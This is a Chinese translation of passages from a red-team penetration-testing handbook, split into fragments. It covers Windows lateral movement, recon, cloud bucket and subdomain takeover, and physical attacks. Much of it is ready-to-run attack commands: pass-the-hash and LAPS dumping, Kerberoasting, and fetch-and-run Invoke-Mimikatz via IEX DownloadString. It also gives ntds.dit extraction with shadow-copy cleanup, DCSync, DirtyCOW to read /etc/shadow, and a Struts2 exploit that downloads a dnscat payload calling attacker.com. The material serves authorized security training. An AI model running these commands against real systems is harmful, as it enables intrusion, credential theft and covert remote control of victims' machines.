    {"text": "参考文献： https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/ https://www.cybereason.com/blog/dcom-lateral-movement-techniques Pass-the-Hash 过去传递本地管理帐户 Pass-The-Hash（PTH）的方法在很大程度上已经开始消失。"},
    {"text": "这是很重要的一点，首先，使用 Mimikatz 这样的工具可以很容易地恢复哈希，可以为本地帐户提取哈希（但需要本地管理员权限），可以从转储域控制器（不是明文密码）中恢复哈希（DCsync）等等。"},
    {"text": "由于默认情况下本地管理员帐户已被禁用，并且出现了更新的安全功能，例如本地管理员密码解决方案（LAPS），为每个工作站创建随机密码，因此通常很少使用上述这种方法。"},
    {"text": "当然，这要求你必须是系统上的本地管理员，启用本地管理员帐户“administrator”，并且它是 RID 500帐户（意味着它必须是原始管理员帐户，不能是新创建的本地管理员帐户）。"},
    {"text": "执行命令： shell net user administrator User name Administrator Full Name Comment Built-in account for administering the computer/domain User’s comment Country/region code 000 (System Default) Account active Yes Account expires Never 如果我们看到帐户处于活动状态，我们可以尝试从本地计算机中提取所有哈希值。"},
    {"text": "请记住，这不会包括任何域账户哈希： Empire Module: powershell/credentials/powerdump Metasploit Module: http://bit.ly/2qzsyDI 例如： (Empire: powershell/credentials/powerdump) > execute Job started: 93Z8PE 输出： Administrator:500: aad3b435b51404eeaad3b435b51404ee:3710b46790763e07ab0d2b6cfc4470c1::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 我们可以使用 Empire（credentials/mimikatz/pth）或者启动可信任的 psexec，提交我们的哈希，并执行我们的自定义 payload，如下图所示： 如前所述，这是一种现在少见的古老的横向移动方式。"},
    {"text": "如果你仍在考虑利用本地管理员帐户，但所处的环境有 LAPS（本地管理员密码解决方案），你可以使用几个不同的将它们从 Active Directory 中转储出的工具。"},
    {"text": "这假设你已经拥有一个域管理员或 Helpdesk 类型帐户的权限： https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/enum_laps.rb ldapsearch -x -h 10.100.100.200 -D “elon.muskkat” -w password -b “dc=cyberspacekittens，dc=local” “(ms-MCS-AdmPwd=*)” ms-MCSAdmPwd [ https://room362.com/post/2017/dump-laps-passwords-with-ldapsearch/ ] 这是保持横向移动而不注销 Helpdesk 用户帐户的好方法。"},
    {"text": "从服务帐户获取凭据 如果你发现自己处于一个用户权限受限、无法从内存中提取密码、主机系统上没有密码的情况下，该怎么办...接下来该怎么办？"},
    {"text": "漏洞在于，当从域控制器请求服务票据时，该票证使用关联的服务用户的 NTLM 哈希加密。 由于任何用户都可以请求任何票据，这意味着，如果我们可以猜测关联服务用户的 NTLM 哈希（加密票据的）的密码，那么我们现在就知道实际服务帐户的密码。"},
    {"text": "这些是我们将为其提取所有 Kerberos 票据的服务帐户： setspn -T cyberspacekittens.local -F -Q / 我们可以将单个用户的 SPN 作为目标，也可以将所有用户的 Kerberos 票据拉入用户的内存中： 针对单个用户： powershell Add-Type -AssemblyName System.IdentityModel;New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “HTTP/CSK-GITHUB.cyberspacekittens.local” 将所有用户票据拖到内存中 powershell Add-Type -AssemblyName System.IdentityModel;IEX (New-Object Net.WebClient).DownloadString(“ https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1 ”) | ForEach-Object {try{New-ObjectSystem.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.ServicePrincipalName}catch{}} 当然，你也可以使用 powersploit 执行此操作： https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/ 如果成功的话，我们已经将一个或多个不同的 Kerberos 票证导入到受害者计算机的内存中。"},
    {"text": "我们可以使用好工具 Mimikatz Kerberos 导出： powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString(‘ http://bit.ly/2qx4kuH’ ); Invoke-Mimikatz -Command ’”““kerberos::list /export”””’ 一旦我们导出这些票证，它们将仍会驻留在受害者的机器上。"},
    {"text": "使用 Kerberoast 破解票证： 使用 Kerberoast 来破解票据： cd /opt/kerberoast python tgsrepcrack.py [password wordlist ][kirbi ticketss - *.kirbi] 在这个例子中，服务帐户 csk-github 的密码是“p@ssw0rd!” 当然，Empire 有一个 PowerShell 模块为我们做所有需要做的事情。"},
    {"text": "它位于 powershell/credentials/invoke_kerberoast 目录下（ https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1 ）。"},
    {"text": "转储域控制器哈希 一旦我们获得了域管理访问权，从 DC 中提取所有哈希的老方法就是在域控制器上运行命令，并使用 Shadow Volume 或原始拷贝技术提取 ntds.dit 文件。 回顾磁盘卷影复制技术 由于我们确实可以访问文件系统，并且可以作为攻击者在域控制器上运行命令，因此我们希望获取存储在 ntds.dit 文件中的所有域内哈希。"},
    {"text": "最后，我们需要清理我们的行踪并删除磁盘拷贝： C:\\vssadmin create shadow /for=C: copy \\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[DISK_NUMBER]\\windows\\system32\\config\\SYSTEM. copy \\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[DISK_NUMBER]\\windows\\system32\\config\\SAM. reg SAVE HKLM\\SYSTEM c:\\SYS vssadmin delete shadows /for= [/oldest | /all | /shadow=] NinjaCopy Ninjacopy 是另一个工具，一旦我们在域控制器上，就可以用来获取 Ntds.dit 文件。"},
    {"text": "”[ http://bit.ly/2HpvKwj ] Invoke-NinjaCopy -Path “c:\\windows\\ntds\\ntds.dit” -LocalDestination “c:\\windows\\temp\\ntds.dit DCSync 现在，我们已经回顾了从 DC 提取哈希的老方法，这些方法要求你在 DC 上运行系统命令，并且通常需要在该计算机上删除一些文件，让我们继续讨论新方法。"},
    {"text": "通常是限于域管理员、企业管理员、域控制器用户组以及将复制更改权限设置为允许（即复制所有更改和复制目录更改）的任何人，DCSync 将允许你的用户执行此攻击。"},
    {"text": "这种攻击最初是在 Mimikatz 开发的，可以使用以下命令运行： Lsadump::dcsync /domain:[YOUR DOMAIN] /user:[Account_to_Pull_Hashes] 更好的是，DCSync 被引入了 PowerShell Empire 这样的工具，以使其更容易实现。"},
    {"text": "利用 VPS 在内网进行 RDP 横向移动 在当今世界，有了大量的新一代杀毒软件，在计算机之间横向运行 WMI/PowerShell Remoting/PSExec 并不总是最好的选择。"},
    {"text": "我们还将在攻击者机器上配置本地端口，在本例中是3389（RDP），以将任何发送到该端口的流量转发到我们的 VPS。 当该端口上的流量转发到我们的 VPS 时，它会将该流量发送到 VPS 上 3389 端口上的本地主机。 最后，我们需要在 3389 端口上设置一个监听我们的 VPS 的端口，并使用 Meterpreter 的端口转发功能通过被攻陷的受害机器设置一个端口转发，以能连接到受害者的系统。 用 Meterpreter payload 攻击受害者 在我们的机器上开启 SSH，并在我们的攻击者系统上设置本地端口转发（本地监听端口3389），以将针对该端口的所有流量发送到 3389 上的 VPS 本地主机端口。 ssh -i key.pem ubuntu@[VPS IP] -L 127.0.0.1:3389:127.0.0.1:3389 在 Meterpreter 会话上设置一个前置端口以监听端口3389上的 VPS，并通过被攻陷的机器将该流量发送到下一个要横向移动到的服务器。"},
    {"text": "portfwd add -l 3389 -p 3389 -r [Victim via RDP IP Address] 在我们的攻击者机器上，打开我们的 Microsoft 远程桌面客户端，将你的连接设置为你自己的本地主机 -127.0.0.1，然后输入受害者的凭据以通过 RDP 进行连接。"},
    {"text": "dnscat2: listen 127.0.0.1:9999 :22 Metasploit post/windows/manage/autoroute Metasploit Socks Proxy + Proxychains use auxiliary/server/socks4a Meterpreter: portfwd add –l 3389 –p 3389 –r 如果你幸运地获得了一个 SSH shell，那么我们可以通过该系统进行渗透。"},
    {"text": "在许多情况下，一旦我们可以实现本地文件包含（LFI）或远程代码执行（RCE），我们可以尝试权限升级以读取 /etc/shadow 文件（和密码破解），或者我们可以利用一些 Mimimikatz 风格的方法。"},
    {"text": "你可以在这里准确地看到哪些系统以及从何处获取密码： https://github.com/huntergregal/mimipenguin 一旦我们在被入侵的主机上获得了凭证，并且可以通过 SSH 反弹 shell，我们就可以通过这个隧道传输流量，并在机器之间进行数据隐藏。"},
    {"text": "在 SSH 中，有一些很好的特性可以让我们执行这个操作过程： 设置动态 Sock Proxy 以使用 proxychains 通过主机隐藏我们的所有流量： ssh -D 127.0.0.1:8888 -p 22 <user>@ 单个端口的基本端口转发： ssh <user>@ -L 127.0.0.1:55555: :80 通过 SSH 的 VPN。"},
    {"text": "在 Ubuntu 上测试 DirtyCOW (ubuntu 14.04.1 LTS 3.13.0-32-generic x86_64)： 下载 DirtyCOW payload wget http://bit.ly/2vdh2Ub -O dirtycow-mem.c 编译 DirtyCOW payload gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread 运行 DirtyCOW 以访问系统 ./dirtycow-mem 关闭定期写回以使漏洞稳定 echo 0 > /proc/sys/vm/dirty_writeback_centisecs Try reading the shadow file cat /etc/shadow Linux 横向移动实验 横向移动的问题是，没有一个设置起点逐步深入的环境很难练习。"},
    {"text": "下载三台虚拟机： http://thehackerplaybook.com/get.php?type=csk-lab 虽然你不需要这些系统的 root 帐户，但 hacker/changeme 是用户名/密码，尽量不要更改。"},
    {"text": "要使该实验环境正常工作，你必须在 VMware 中配置虚拟机的 NAT 设置，才能使用172.16.250.0/24网络。 要在 Windows VMware Workstation 中执行此操作，请执行以下操作： 在开始菜单，依次点击 编辑 -> 虚拟网络编辑器 -> 更改设置 选择需要设置 NAT 类型的界面(我这里设置的是 VMnet8) 修改子网 IP 为 172.16.250.0 ，并点击 应用 在 OSX 中，操作更复杂。 你需要： 复制原始的 dhcpd.conf 作为备份 sudo cp /Library/Preferences/VMware\\ Fusion/vmnet8/dhcpd.conf/Library/Preferences/VMware\\ Fusion/vmnet8/dhcpd.conf.bakup 编辑 dhcpd.conf 文件以使用172.16.250.x 而不是192.168.x.x sudo vi /Library/Preferences/VMware\\ Fusion/vmnet8/dhcpd.conf 编辑 nat.conf 以使用正确的网关 sudo vi /Library/Preferences/VMware\\ Fusion/vmnet8/nat.conf #NAT gateway address ip = 172.16.250.2 netmask = 255.255.255.0 重新启动服务： sudo /Applications/VMware\\ Fusion.app/Contents/Library/services/services.sh --stop sudo /Applications/VMware\\ Fusion.app/Contents/Library/services/services.sh --start 现在，你应该能够在 NAT 模式下启动 THP Kali VM，并在172.16.250.0/24范围内获得一个 DHCP 分配的 IP。"},
    {"text": "cd /opt/dnscat2/client/ python -m SimpleHTTPServer 80 启动 dnscat 服务器 cd /opt/dnscat2/server/ ruby ./dnscat2.rb 为 dnscat 记录你的密钥 打开新终端并加载 Metasploit msfconsole 搜索 struts2并加载 struts2漏洞 search struts2 use exploit/multi/http/struts2_content_type_ognl 配置 struts2漏洞以获取我们的 dnscat payload 并在受害者服务器上执行。"},
    {"text": "set RHOST 172.16.250.10 set RPORT 80 set TARGETURI struts2-showcase/showcase.action set PAYLOAD cmd/unix/generic set CMD wget http:// /dnscat -O /tmp/dnscat && chmod+x /tmp/dnscat && /tmp/dnscat --dns server=attacker.com，port=53 --secret= run 一旦 payload 执行，你将不会在 Metasploit 中得到任何确认，因为我们使用了 dnscat 的 payload。"},
    {"text": "与第一个 payload 进行交互 window -i 1 生成 shell 进程 shell 用键盘按钮返回主菜单 ctrl + z 与新 shell 进行交互 window -i 2 键入 shell 命令 ls 你已经入侵了 OpenCMS/Apache Struts 服务器！"},
    {"text": "在查看 OpenCMS 属性的配置文件时，我们发现数据库、用户名、密码和 IP 地址为 172.16.250.10。 检索数据库信息： cat /opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties 我们成功连接到数据库了，但看不到太多信息。"},
    {"text": "Escalation 提升 dnscat 权限： 下载并编译目录： cd /tmp wget http://bit.ly/2vdh2Ub -O dirtycow-mem.c gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread ./dirtycow-mem 尝试保持 DirtyCOW 漏洞利用的稳定性，并允许内核崩溃时重新启动。 echo 0 > /proc/sys/vm/dirty_writeback_centisecs echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn whoami 注意：DirtyCOW 不是一个非常稳定的提权方法。"},
    {"text": "如果你对漏洞利用过程有问题，请查看我的 Github 页面，在这里了解创建 setuid 二进制文件的更稳定的过程： https://raw.githubusercontent.com/cheetz/dirtycow/master/THP-Lab 如果仍然有问题，另一个选项是通过 SSH 登录到初始服务器，并以 root 身份执行 dnscat payload。"},
    {"text": "我们可以使用此 SSH 密钥并登录到第二个系统172.16.250.30： cat ~/.bash_history head ~/.ssh/id_rsa ssh -i ~/.ssh/id_rsa root@172.16.250.30 你花了一些时间在第二个系统上，试着理解它的用途。"},
    {"text": "从那里，我们需要设置一个监听器，通过 dnscat 将我们的流量从攻击者机器转发到端口8080上的 Jenkins Box（172.16.250.30)。 执行 dnscat 端口转发： 退出现有的 shell Ctrl + z 返回我们的第一个命令代理并设置一个监听器/端口转发： window -i 1 listen 127.0.0.1:8080 172.16.250.30:8080 在你的 Kali 虚拟机上，使用我们的端口转发代理打开浏览器并打开下面的地址（这将比 dns 慢一些）： http://127.0.0.1:8080/jenkins 在 Jenkins 应用程序内的凭证管理器内部，我们将看到 db_backup 用户密码已存储，但不可见。"},
    {"text": "返回 dnscat 中的主菜单并与原始 shell 进行交互 Ctrl + z window -i 2 转到 Jenkins 的主目录并获取三个文件：credentials.xml，master.key 和 hudson.util.Secret。"},
    {"text": "base64 credentials.xml base64 secrets/hudson.util.Secret base64 secrets/master.key 我们可以将 base64输出复制回我们的 Kali 系统并解码它们以破解 db_backup 用户的密码。 cd /opt/jenkins-decrypt echo “ ” | base64 —decode > hudson.util.Secret echo “ ” | base64 —decode > master.key echo “ ” | base64 —decode > credentials.xml 使用 https://github.com/cheetz/jenkins-decrypt 解密密码 python3 ./decrypt.py master.key hudson.util.Secret credentials.xml 我们能够成功解密 db_backup 用户的密码 )uDvra{4UL^;r？"},
    {"text": "回到命令 shell Ctrl + z window -i 1 创建一个新的端口转发，从 localhost 转到172.16.250.50的数据库服务器 listen 127.0.0.1:2222 172.16.250.50:22 一旦使用 db_backup 帐户进入数据库服务器（172.16.250.50），我们会注意到此帐户是 sudoers 文件的一部分，并且可以 sudo su 到 root。"},
    {"text": "第2章 发球前——红队侦察 第2章 发球前——红队侦察 第2章 发球前——红队侦察 译者： @Snowming 在 The Hacking Playbook 2 中，前面的发球部分重点介绍了一些不同的工具，如 Recon-NG、Discover、Spiderfoot、Gitrob、Masscan、Sparta、HTTP Screenshot、漏洞扫描器（包括 nessus，openvas）、Burp 套件等。"},
    {"text": "例如，我们可以创建一个快速的 Linux bash 脚本来完成这项艰巨的工作（请记住替换下面脚本中的 IP 范围）: !/bin/bash mkdir /opt/nmap_diff d=$(date +%Y-%m-%d) y=$(date -d yesterday +%Y-%m-%d) /usr/bin/nmap -T4 -oX /opt/nmap diff/scan $d.xml 10.100.100.0/24 > /dev/null 2>&1 if [ -e /opt/nmap diff/scan $y.xml ]; then /usr/bin/ndiff /opt/nmap diff/scan $y.xml /opt/nmap diff/scan $d.xml > /opt/nmap_diff/diff.txt fi 译者注：上面这段脚本中使用了正则表达式。"},
    {"text": "建立一个更好的网络 diff 扫描器: 构建一个比默认的 nmap 更好的端口列表(例如，nmap 默认的漏掉一些端口，比如 Redis 6379/6380 和其他端口) 实现 nmap banner 保持对端口的历史跟踪 建立电子邮件提醒/通知系统 参考 diff Slack 警报 Web 应用程序监控 除了定期扫描开放的端口和服务之外，红队还应该监视不同的 Web 应用程序，这一点很重要。"},
    {"text": "cd /opt/httpscreenshot/ 编辑 networks.txt 文件来选择你想扫描的网络: gedit networks.txt ./masshttp.sh firefox clusters.html 另一个可以用到的工具是 Eyewitness 。"},
    {"text": "Eyewitness 是另一个很好的工具，它用 XML 文件的方式输出 nmap 的扫描结果、获取到的 Web 页面截图、RDP 服务器信息以及 VNC 服务器信息，。 实验 : cd /opt/EyeWitness nmap [IP Range]/24 —open -p 80,443 -oX scan.xml python ./EyeWitness.py -x scan.xml —web 云扫描 随着越来越多的公司转向使用不同的云基础设施，一些围绕云服务的新型攻击和传统攻击逐渐形成。"},
    {"text": "一些基本的搜索查询: title: 搜索从 HTML 标记中提取的内容 html: 搜索返回页面的完整 HTML 内容 product: 搜索 banner 中标识的软件或产品的名称 net: 搜索一个指定的网段(例如:204.51.94.79/18) 我们可以在 Shodan 上搜索 cyberspacekittens 网站: cyberspacekittens.com 使用 HTML 的 title 标签进行搜索 title:cyberspacekittens 搜索页面内容 html:cyberspacekittens.com 请注意，我观察到 Shodan 的扫描有点慢。"},
    {"text": "Censys.io Censys.io 持续监控 Internet 上的每一台可访问的服务器和设备，以便你可以实时搜索和分析它们。 通过 Censys 你能够了解你的网络攻击面，发现新的威胁，并评估其全球影响。"},
    {"text": "sslScrape cd /opt/sslScrape python ./sslScrape.py [IP 地址 CIDR 范围] 云 IP 地址的例子: Amazon: http://bit.ly/2vUSjED Azure: http://bit.ly/2r7rHeR Google Cloud: http://bit.ly/2HAsZFm 在本书中，我会尝试提供一些代码示例和一个初步的程序框架。"},
    {"text": "你可以通过许多可用的公共源查找任何主机名或 FQDN 以找到该域的所有者(我最喜欢的快速查找域名所有者的网站是 https://centralops.net/co/domaindossier.aspx )。"},
    {"text": "但是子域名就很难搜集。 因为子域名并不是在某些公开注册系统上集中注册的，而是存储在目标的 DNS 服务器上。 你必须知道要怎样搜索才能找到有效的子域名。"},
    {"text": "这种情况下，如果你使用 nmap 扫描这个 IP，只能得到主机的端口开放信息，不能进一步获取更多的 Web 指纹，必须要使用对应的子域名来访问站点，然后使用类似于 WhatWeb 的工具来获得 Web 指纹。"},
    {"text": "在上一本书（The hacker playbook第二版）中我们讲了很多用于子域名收集的工具，因此让我们回顾一些当前仍然可用的工具的和一些新工具，来更好的进行子域名收集。"},
    {"text": "被动信息收集将利用下列所有的工具: Passive uses ARIN , dnsrecon , goofile , goog-mail , goohost , theHarvester , Metasploit , URLCrazy , Whois , multiple websites and recon-ng . git clone https://github.com/leebaird/discover /opt/discover/ /cd /opt/discover/ /./update.sh. /discover.sh Domain Passive [Company Name] [Domain Name] firefox /root/data/[Domain]/index.htm Discover Scripts 最棒的地方在于，它基于已收集到的信息滚雪球式搜索。"},
    {"text": "例如，通过对公开的 PGP 仓库进行搜索，它可能会识别电子邮件，然后使用这些信息继续在 Have I Been Pwned 网站 进行搜索（通过 Recon-NG 工具）。"},
    {"text": "Knockpy 是一个 python 工具，它通过一个 wordlist 来枚举目标域中的子域名。 Knock 是一个很好的子域名扫描工具，它生成一个子域名列表，并检查这些生成的子域名是否可以解析。 因此，如果你想扫描 cyberspacekittens.com, Knock 将使用 此 wordlist ，并查看 [subdomain].cyberspacekittens.com 是否有任何子域。"},
    {"text": "译者注：The Hacker Playbook Kali 镜像在本书的第一章的【本章总结】里面有介绍，是本书作者专门针对于本书中的实验创建的基于 Kali Linux 并且添加了所有工具的完整版虚拟机( 点此获取 )。"},
    {"text": "运行 Sublist3r： 译者注：原书这里存在笔误，作者写成了 To run Sublister ，但实际上应该是 To run Sublist3r . cd /opt/Sublist3r python sublist3r.py -d cyberspacekittens.com -o cyberspacekittens.com 看看 Sublist3r 跑出来的结果，跟用子域名暴力破解出的结果对比一下，是不是有一些之前没发现的？"},
    {"text": "同样的，再次针对一个 bug 赏金项目尝试 Sublist3r 方法来收集子域名，对比感受暴力破解和使用搜索引擎之间的显著区别。 Sublist3r 有一个分支版本，这个分支版本包含额外的特性（特别是子域名劫持的检查）: https://github.com/Plazmaz/Sublist3r SubBrute 最后一个要介绍的子域名收集工具是 SubBrute 。"},
    {"text": "SubBrute 背后的神奇之处在于，它使用开放的解析器作为代理来绕过 DNS 速率限制( https://www.us-cert.gov/ncas/alerts/TA13-088A )。"},
    {"text": "运行 SubBrute: cd /opt/subbrute ./subbrute.py cyberspacekittens.com 我们还可以将 SubBrute 的性能提升一下，将其与 MassDNS 结合，以执行非常高性能的 DNS 解析。"},
    {"text": "我们看到的是，许多开发人员要么将代码保存到错误的仓库(将其发送到他们的公开仓库而不是公司的私有仓库)，要么意外地保存敏感数据(如密码)，然后试图删除它。"},
    {"text": "我们可以使用 Github 搜索来识别某些主机名/组织名，或者甚至仅仅使用简单的 Google Dork 搜索，例如: site:github.com + “cyberspacekittens” 尝试使用不同的方法搜索 bug 赏金程序，而不是仅仅搜索 cyberspacekittens。"},
    {"text": "实验: cd /opt/trufflehog/truffleHog python truffleHog.py https://github.com/cyberspacekittens/dnscat2 正如我们在 commit 历史记录中看到的，AWS 密钥和 SSH 密钥被从 server/controller/csk.config 文件中删除了。"},
    {"text": "运行 git-all-secrets: cd /opt/git-all-secrets docker run -it abhartiya/tools_gitallsecrets:v3 -repoURL= https://github.com/cyberspacekittens/dnscat2 -token=[API Key] - output=results.txt 这将克隆仓库并开始扫描。"},
    {"text": "容器(container)运行完成后，输入以下命令检索容器 ID: docker ps -a 有了容器 ID 后，就可以输入以下命令将结果文件从容器(container)发送到主机: docker cp <container-id>:/data/results.txt Cloud 正如我们前面所说的，cloud 是我们看到的许多公司有不安全环境配置的一个领域。"},
    {"text": "最常见的一些问题是: Amazon S3 Missing Buckets: https://hackerone.com/reports/121461 Amazon S3 Bucket Permissions: https://hackerone.com/reports/128088 Being able to list and write files to public AWS buckets: aws s3 ls s3://[bucketname] aws s3 mv test.txt s3://[bucketname] Lack of Logging 在开始测试不同的 AWS 存储桶上的错误配置之前，我们需要首先发现它们。"},
    {"text": "例如，我们可以使用一个名为 Slurp 的工具来查找关于目标 CyberSpaceKittens 的信息: cd /opt/slurp ./slurp domain -t cyberspacekittens.com ./slurp keyword -t cyberspacekittens Bucket Finder 另一个工具 Bucket Finder 不仅会尝试查找不同的 bucket，还会从这些 bucket 中下载所有的内容进行分析: wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2 cd /opt/bucket_finder ./bucket_finder.rb —region us my_words —download 你一直在基于 Cyber Space Kittens 的基础设施进行搜寻，并发现了他们的一个 S3 bucket( cyberspacekittens.s3.amazonaws.com )。"},
    {"text": "查询 S3 并下载一切内容： 下载 awscli： sudo apt install awscli 配置凭证： aws configure 查看 CyberSpaceKittens 的 S3 bucket 的权限: aws s3api get-bucket-acl --bucket cyberspacekittens 从 S3 Bucket 中读取文件： aws s3 ls s3://cyberspacekittens 下载存在 S3 Bucket 中的所有内容： aws s3 sync s3://cyberspacekittens 除了查询 S3 之外，接下来要测试的是写入该 bucket。"},
    {"text": "我们经常看到，当 S3 bucket 上存储的文件被用于它们的所有页面时(并且如果我们可以修改这些文件)，那么我们就可以将恶意代码放到它们的 Web 应用服务器上。"},
    {"text": "首先，我们可以查看每个对象来判断这些权限是否配置正确: aws s3api get-object-acl —bucket cyberspacekittens —key ignore.txt 我们可以看到只有一个名叫 “secure” 的用户对该文件有写的权限。"},
    {"text": "这可以通过以下命令来完成: aws s3api get-bucket-acl —bucket cyberspacekittens 同样，在这两种情况下，读权限都是全局允许的，但是完全控制或任何写入的权限只有名为 “secure” 的帐户才有。"},
    {"text": "资源: https://labs.detectify.com/2017/07/13/a-deep-dive-into-aws-s3-access-controls-taking-full-control-over-your-assets/ 子域名劫持 子域名劫持是一个常见的漏洞，如今我们几乎可以从每一个公司看到这个漏洞。 如果一个公司使用用一些第三方 CMS/内容/云提供商，并将它们的子域名指向这些平台，那么就有可能发生子域名劫持漏洞。 如果公司忘记配置第三方服务或从该服务器注销，攻击者就可以使用第三方来劫持该主机名。"},
    {"text": "举个例子，你使用 testlab.s3.amazonaws.com 这个域名注册了一个 S3 Amazon Bucket。 然后，你让你公司的子域名 testlab.company.com 指向了 testlab.s3.amazonaws.com。 一年后，你不再需要 testlab.s3.amazonaws.com 这个 S3 bucket 并注销了它，但是忘记了 testlab.company.com 的 CNAME 重定向。 现在，一些人可以去 AWS 搭建 testlab.s3.amazon.com，并在受害者的域中有一个有效的 S3 bucket。"},
    {"text": "我们可以用这个工具来检查是否有任何我们找到的子域名指向了一个 CMS 提供商(Heroku, Github, Shopify, Amazon S3, Amazon CloudFront 等)，这样该子域名可能可以被劫持。"},
    {"text": "运行 tko-subs: cd /opt/tko-subs/ ./tkosubs -domains=list.txt -data=providers-data.csv -output=output.csv 如果我们找到了一个 悬挂记录 ，我们可以使用 tko-subs 来劫持 Github 页面和 Heroku 应用程序。"},
    {"text": "拓展阅读： Understanding the Security Threats of Dangling DNS Records 另外两个可以帮助域名劫持的工具是: HostileSubBruteforcer autoSubTakeover 想了解更多关于AWS漏洞的信息吗?一个很棒的的 CTF AWS 演练 -> http://flaws.cloud/ 电子邮件 所有的社会工程学攻击的一个重要部分都是查找 email 地址和员工姓名。"},
    {"text": "cd /opt/SimplyEmail ./SimplyEmail.py -all -v -e cyberspacekittens.com firefox cyberspacekittens.com /Email_List.html 这可能需要很长时间来运行，因为它检查 Bing、Yahoo、Google、Ask Search、PGP 仓库、文件等等。"},
    {"text": "我不想直接链接到违规文件，但我给出一些我认为有用的参考: 1.4 亿密码泄露（2017年）： https://thehackernews.com/2017/12/data-breach-password-list.html Adobe 信息泄露（2013年）： https://nakedsecurity.sophos.com/2013/11/04/anatomy-of-a-password-disaster-adobes-giant-sized-cryptographic-blunder/ Pastebin Dumps： http://psbdmp.ws/ Exploit.In Dump Pastebin 的 Google Dork: site:pastebin.com intext:cyberspacekittens.com 额外的开源资源 我不知道该把这些资源放在哪里，但我想提供一个用于红队活动的额外的优秀资源集合。"},
    {"text": "OSINT 链接合集: https://github.com/IVMachiavelli/OSINT_Team_Links OSINT 框架: http://osintframework.com/ 译者注: 公开资源情报计划（Open source intelligence），简称 OSINT ，是美国中央情报局（CIA）的一种情报搜集手段，从各种公开的信息资源中寻找和获取有价值的情报。"},
    {"text": "第6章 短传——物理访问攻击 第6章 短传——物理访问攻击 第6章 短传——物理访问攻击 译者： @Snowming 作为安全评估的一部分，CSK 要求你的团队对基础设施进行物理评估。"},
    {"text": "此外，确保你获得适当的批准，尽量与该机构的物理安全团队协同工作，并有一个书面的免责核准文件，以防被警察抓到后需要承担额外的法律责任。"},
    {"text": "在大多数情况下，那些由 HID 公司生产的、不需要任何私有/公开握手认证的感应卡，我们仍然可以很轻易地克隆它们，并暴力破解它们的 ID 号。"},
    {"text": "还有一些常见的可供破解的卡： HID iClass (13.56 MHz) HID ProxCard (125 kHz) EM4100x (125 kHz) MIFARE Classic (13.56 MHz) 可以参考这篇博客了解更多： RFID Hacking with The Proxmark 3 绕过入口点的物理工具 本书不会深入研究物理工具及其操作方法，因为纸上得来终觉浅，若要真正深入了解物理工具及其操作方法，实践是最好的老师。"},
    {"text": "看看这段视频，看看 Samy Kamkar 如何绕过此类型的门： https://www.youtube.com/watch?v=xcA7iXSNmZE 记住，使用这些工具和物理评估的目的是跟踪并监控公司物理安全的问题，并得到反馈。"},
    {"text": "前书中我们研究了如何把树莓派和 ODROID 作为攻击武器：给这些设备安装 Kali Linux 系统，让它们通过 SSH 或者 VPN 连接到我们的攻击者机器中，这是做物理渗透测试的一个好方法。"},
    {"text": "尽管它带有许多其他功能和应用程序工具，如自动连接 SSH、DNS 欺骗、meterpreter、ptunnel、script2email、urlsnarf、responder 等等，但红队使用的主要功能是“使用 LAN Turtle 获得进入网络的权限”。"},
    {"text": "AWS Lightsail VPS 就不错，选择它的另一个原因是：有许多攻击者都会采用 AWS 做攻击，躲在这些如洪水般的流量背后，受害者将更难以察觉是谁攻击他们的。"},
    {"text": "去 Lightsail.aws.amazon.com 创建一个新的 VPS 创建后，转到“管理”->“联网” 添加两个安全组设置 TCP 端口（443和943） 创建 VPS 服务器后，登录： 确保 chmod 600 你的 SSH 密钥并登录到你的服务器 ssh -i LightsailDefaultPrivateKey-us-west-2.pem ubuntu@[IP] 通过 SSH 进入服务器之后 切换到 root 用户: sudo su - 更新服务器： apt-get update && apt-get upgrade 安装 OpenVPN AS。"},
    {"text": "示例： wget http://swupdate.openvpn.org/as/openvpn-as-2.1.12-ubuntu16.amd_64.deb 安装 OpenVPN AS： dpkg -i openvpn-as-2.1.12-Ubuntu16.amd_64.deb 删除当前配置文件并配置 OpenVPN ： /usr/local/openvpn_as/bin/ovpn-init 安装过程中： 确保为所有接口设置管理员界面 将“通过内部数据库使用本地身份验证”设置为“是” 更新 OpenVPN 密码： passwd openvpn 将943端口的 IPTables 设置为仅允许来自你的网络的连接 设置 OpenVPN 服务器： 转到 https://[vps服务器的IP地址]:943/admin/ 使用用户名 “openvpn” 和你刚刚设置的密码登录 如果使用的是 AWS Lightsail： 转到服务器网络设置，确保：主机名或IP地址是正确的公网 IP 地址，而不是私有 IP 地址 保存并更新 验证身份验证是否设置为本地： Authentication -> General -> Local -> Save Settings -> Update Server 创建两个启用了“允许自动登录”的用户（我创建的是 lanturtle 和 redteam ）： User Management -> User Permissions 对于每个用户： 设置允许自动登录 确保为这两个用户都分别设置密码 对于 lanturtle 帐户，为了允许通过 VPN 连接，我们需要启用一些权限： 确保在用户权限选项下启用/配置： 所有服务端私有子网 所有其他的 VPN 客户端 下载 OpenVPN 配置文件： 连接下载配置文件： https://[你的VPS]:943/?src=connect 对于每个用户（ redteam 和 lanturtle ） 登录并下载个人资料（自动登录配置文件） 分别保存为 turtle.ovpn 和 redteam.ovpn 设置 LAN Turtle 和初始配置： 插入 USB 并且自动连入网络 nmap 扫描本地 22 端口 nmap x.x.x.x/24 -p22 -T5 --open 通过 SSH 连接 root 用户（root@[ip]），密码为 sh3llz 